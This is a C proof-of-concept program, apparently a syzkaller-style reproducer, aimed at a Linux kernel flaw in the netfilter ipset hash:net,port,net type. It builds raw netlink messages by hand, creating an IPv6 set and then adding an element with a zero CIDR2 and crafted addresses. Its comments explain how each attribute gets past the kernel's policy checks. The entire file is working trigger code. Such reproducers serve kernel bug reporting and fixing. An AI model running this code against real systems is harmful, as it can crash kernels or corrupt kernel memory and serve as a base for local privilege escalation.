#include #include #include #include #include #include int nl_sock; void *build_pkt(struct nlmsghdr *hdr, struct nfgenmsg *nfgenmsg, void *attrs, int attr_len) { void *payload = calloc(1, 0x1000); void *ptr = payload; hdr->nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct nfgenmsg) + attr_len; //printf("%#x %#x %#x\n", sizeof(struct nlmsghdr), sizeof(struct nfgenmsg), attr_len); //printf("nlmsg_len: %#x\n", hdr->nlmsg_len); //printf("attr_len: %#x\n", attr_len); memcpy(ptr, hdr, sizeof(struct nlmsghdr)); ptr += sizeof(struct nlmsghdr); memcpy(ptr, nfgenmsg, sizeof(struct nfgenmsg)); ptr += sizeof(struct nfgenmsg); memcpy(ptr, attrs, attr_len); return payload; } int main(void) { nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); struct nlmsghdr nlmsghdr = { .nlmsg_len = 0, .nlmsg_type = 0x602, // IPSET_CMD_CREATE(2) | subsys_id = NFNL_SUBSYS_IPSET(6) .nlmsg_flags = 0x1, // NLM_F_REQUEST(1) .nlmsg_seq = 0, // NL_AUTO_SEQ .nlmsg_pid = 0 // NL_AUTO_PID }; struct nfgenmsg nfgenmsg = { .nfgen_family = 0, .version = 0, .res_id = 0 }; char attrs[] = "\x09\x00""\x02\x00""syz2\x00\x00\x00\x00" // IPSET_ATTR_SETNAME "\x16\x00""\x03\x00""hash:net,port,net\x00\x00\x00" // IPSET_ATTR_TYPENAME "\x05\x00""\x04\x00""\x00\x00\x00\x00" // IPSET_ATTR_REVISION "\x05\x00""\x05\x00""\x0a\x00\x00\x00" // IPSET_ATTR_FAMILY => NFPROTO_IPV6(0xa) "\x05\x00""\x01\x00""\x07\x00\x00\x00" // IPSET_ATTR_PROTOCOL => 7 (has to be 7) "\x14\x00""\x07\x80" // IPSET_ATTR_DATA, has to come with the nested flag(1<<15) or the packet will be rejected by ip_set_create, policy hash_netportnet_type.create_policy "\x08\x00""\x12\x40""\x00\x00\x00\x00" // IPSET_ATTR_HASHSIZE = 0x40, has to come with netorder flag(1<<14) or the packet will be rejected by `IPSET_TOKEN(HTYPE, _create)` in ip_set_hash_gen.h "\x08\x00""\x06\x40""\xff\xff\xff\xff"; // IPSET_ATTR_TIMEOUT // net order void *payload = build_pkt(&nlmsghdr, &nfgenmsg, attrs, sizeof(attrs)-1); send(nl_sock, payload, nlmsghdr.nlmsg_len, 0); struct nlmsghdr nlmsghdr2 = { .nlmsg_len = 0, .nlmsg_type = 0x609, // IPSET_CMD_ADD(9) | subsys_id = NFNL_SUBSYS_IPSET(6) .nlmsg_flags = 0x1, // NLM_F_REQUEST(1) .nlmsg_seq = 0, // NL_AUTO_SEQ .nlmsg_pid = 0 // NL_AUTO_PID }; struct nfgenmsg nfgenmsg2 = { .nfgen_family = 0, .version = 0, .res_id = 0 }; char attrs2[] = "\x09\x00""\x02\x00""syz2\x00\x00\x00\x00" // IPSET_ATTR_SETNAME "\x05\x00""\x01\x00""\x07\x00\x00\x00" // IPSET_ATTR_PROTOCO, protocol is hardcoded to 7, right? "\x4c\x00""\x07\x80" // IPSET_ATTR_DATA, has to come with the nested flag(1<<15) or the packet will be rejected by ip_set_ad, policy: hash_netportnet_type.adt_policy "\x06\x00""\x04\x40""\x00\x00\x00\x00" // IPSET_ATTR_PORT_FROM "\x05\x00""\x07\x00""\x84\x00\x00\x00" // IPSET_ATTR_PROTO => IPPROTO_UDP, just a protocol that has ports (ip_set_proto_with_ports) "\x05\x00""\x03\x00""\x00\x00\x00\x00" // IPSET_ATTR_CIDR2 = 0 "\x18\x00""\x01\x80" // IPSET_ATTR_IP, policy: ipaddr_policy "\x14\x00""\x02\x40""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x7f\x00\x00\x01" "\x18\x00""\x14\x80" // IPSET_ATTR_IP2, policy: ipaddr_policy "\x14\x00""\x02\x40""\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa"; void *payload2 = build_pkt(&nlmsghdr2, &nfgenmsg2, attrs2, sizeof(attrs2)-1); send(nl_sock, payload2, nlmsghdr2.nlmsg_len, 0); getchar(); return 0; }